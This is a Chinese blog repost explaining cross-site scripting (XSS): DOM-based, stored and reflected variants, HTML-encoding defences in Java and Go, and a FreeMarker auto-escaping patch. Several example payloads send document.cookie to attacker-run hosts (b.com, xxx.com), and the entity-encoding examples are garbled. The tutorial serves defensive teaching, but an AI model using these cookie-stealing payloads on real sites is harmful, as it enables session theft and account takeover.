本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明。 转自:https://github.com/astaxie/build-web-application-with-golang/blob/master/ebook/09.3.md XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。 XSS攻击 XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script。 DOM Based XSS DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。 场景一: 当我登录a.com后,我发现它的页面某些内容是根据url中的一个叫content参数直接显示的,猜测它测页面处理可能是这样,其它语言类似: <%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
XSS测试页面内容:<%=request.getParameter("content")%>我知道了Tom也注册了该网站,并且知道了他的邮箱(或者其它能接收信息的联系方式),我做一个超链接发给他,超链接地址为:http://www.a.com?content=
<script type="text/javascript">// <![CDATA[ window.open(“www.b.com?param=”+document.cookie) // ]]></script>,当Tom点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当我的网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登录密码,攻击成功!这个过程中,受害者只有Tom自己。那当我在浏览器输入a.com?content=
<script type="text/javascript">// <![CDATA[ alert(“xss”) // ]]></script>,浏览器展示页面内容的过程中,就会执行我的脚本,页面输出xss字样,这是攻击了我自己,那我如何攻击别人并且获利呢? Stored XSS Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。 场景二: a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码,
<script type="text/javascript">// <![CDATA[ window.open(“www.b.com?param=”+document.cookie) // ]]></script>,保存文章。这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了,他们的cookie信息都发送到了我的服务器上,攻击成功!这个过程中,受害者是多个人。 Stored XSS漏洞危害性更大,危害面更广。 XSS防御 我们是在一个矛盾的世界中,有矛就有盾。只要我们的代码中不存在漏洞,攻击者就无从下手,我们要做一个没有缝的蛋。XSS防御有如下方式。 完善的过滤体系 永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。 Html encode 假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。 less-than character (<) < greater-than character (>) > ampersand character (&) & double-quote character (") " space character( ) Any ASCII code character whose code is greater-than or equal to 0x80 &#, where is the ASCII character value. 比如用户输入:
<script type="text/javascript">// <![CDATA[ window.location.href=”http://www.baidu.com”; // ]]></script>,保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。 其它 下面提供两种Html encode的方法。 使用Apache的commons-lang.jar StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码,空格不转换 自己实现转换,只转换部分字符 private static String htmlEncode(char c) { switch(c) { case '&': return"&"; case '<': return"<"; case '>': return">"; case '"': return"""; case ' ': return" "; default: return c +""; } } /** 对传入的字符串str进行Html encode转换 */ public static String htmlEncode(String str) { if(str ==null || str.trim().equals("")) return str; StringBuilder encodeStrBuilder = new StringBuilder(); for (int i = 0, len = str.length(); i < len; i++) { encodeStrBuilder.append(htmlEncode(str.charAt(i))); } return encodeStrBuilder.toString(); } 避免XSS攻击 随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。 什么是XSS XSS攻击:跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。 XSS通常可以分为两大类:一类是存储型XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS,主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。 XSS目前主要的手段和目的如下: 盗用cookie,获取敏感信息。 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果 XSS的原理 Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因。 接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:http://127.0.0.1/?name=astaxie,就会在浏览器输出如下信息: hello astaxie 如果我们传递这样的url:http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。 更加详细的关于XSS的分析大家可以参考这篇叫做《新浪微博XSS事件分析》的文章。 如何预防XSS 答案很简单,坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。 目前防御XSS主要有如下几种方式: 过滤特殊字符 避免XSS的方法之一主要是将用户所提供的内容进行过滤,Go语言提供了HTML的过滤函数: text/template包下面的HTMLEscapeString、JSEscapeString等函数 使用HTTP头指定类型 w.Header().Set("Content-Type","text/javascript") 这样就可以让浏览器解析javascript代码,而不会是html输出。 总结 XSS漏洞是相当有危害的,在开发Web应用的时候,一定要记住过滤数据,特别是在输出到客户端之前,这是现在行之有效的防止XSS的手段。
freemarker 有html escape 方法,但是框架没有地方可以配置默认escape
1.<#escape>指令
2.<xxx?html>内建函数
方法一、
网上比较多的是通过TemplateLoader,给加载的template文件2头套<#escape>
123<#escape x as x?html>
your template code
</#escape>
参考: http://techdiary.peterbecker.de/2009/02/defending-against-xss-attacks-in.html
但是现在我们应用的对freemarker做了扩展,一个页面分3个部分,一个layout、一个view、多个control。
多次render才到最终结果。要控制比较麻烦配置,也不友好。
方法二
改源码的$变量、默认全部转义、对固定的扩展的layout、一个view、多个control,配置正则原义输出。
变量是string类型的时候,用了xxx?string作为原义输出的内建函数。
缺点:比较暴力,修改了DollarViable源码,后续freemarker有升级要跟随修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
/**
* The original code
* env.getOut().write(escapedExpression.getStringValue(env));
*/
String expr = escapedExpression.getCanonicalForm();
TemplateModel referentModel = escapedExpression.getAsTemplateModel(env);
String output = Expression.getStringValue(referentModel, escapedExpression, env);
if
(referentModel
instanceof
TemplateScalarModel) {
// layout placeholder and widget no escape and ?string
if
(expr.indexOf(
"!noescape"
) > -
1
|| expr.indexOf(
"?html"
) > -
1
|| expr.indexOf(
"parameters."
) > -
1
|| expr.endsWith(
"?string"
) || doNoEscape(expr, env)) {
env.getOut().write(output);
}
else
{
env.getOut().write(freemarker.template.utility.StringUtil.HTMLEnc(output));
}
}
else
{
env.getOut().write(output);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
<!-- 设置 ViewResolver -->
<
bean
id
=
"freemarkerConfiguration"
class
=
"org.springframework.ui.freemarker.FreeMarkerConfigurationFactoryBean"
>
<
property
name
=
"templateLoaderPath"
value
=
"file://${greenline.guahao.template.templatePath}"
/>
<
property
name
=
"freemarkerSettings"
>
<
props
>
<
prop
key
=
"default_encoding"
>UTF-8</
prop
>
<
prop
key
=
"number_format"
>#</
prop
>
<!-- 配置缓存时间 -->
<
prop
key
=
"template_update_delay"
>${greenline.guahao.template.update.delay}</
prop
>
<
prop
key
=
"classic_compatible"
>true</
prop
>
<
prop
key
=
"auto_import"
>/macro/macros.ftl as spring</
prop
>
<
prop
key
=
"url_escaping_charset"
>UTF-8</
prop
>
<
prop
key
=
"defaultEncoding"
>UTF-8</
prop
>
<
prop
key
=
"boolean_format"
>true,false</
prop
>
<
prop
key
=
"datetime_format"
>yyyy-MM-dd HH:mm:ss</
prop
>
<
prop
key
=
"date_format"
>yyyy-MM-dd</
prop
>
<
prop
key
=
"locale"
>zh_CN</
prop
>
</
props
>
</
property
>
<
property
name
=
"freemarkerVariables"
>
<
map
>
<
entry
key
=
"noescape_patterns"
value-ref
=
"noescape_patterns"
/>
</
map
>
</
property
>
</
bean
>
<!-- 不进行转义正则 -->
<
util:list
id
=
"noescape_patterns"
list-class
=
"java.util.ArrayList"
>
<
bean
class
=
"java.util.regex.Pattern"
>
<
constructor-arg
value
=
"(^placeholder$)|(^widget)|(^token\(\)$)"
/>
<
constructor-arg
value
=
"0"
/>
</
bean
>
</
util:list
>
|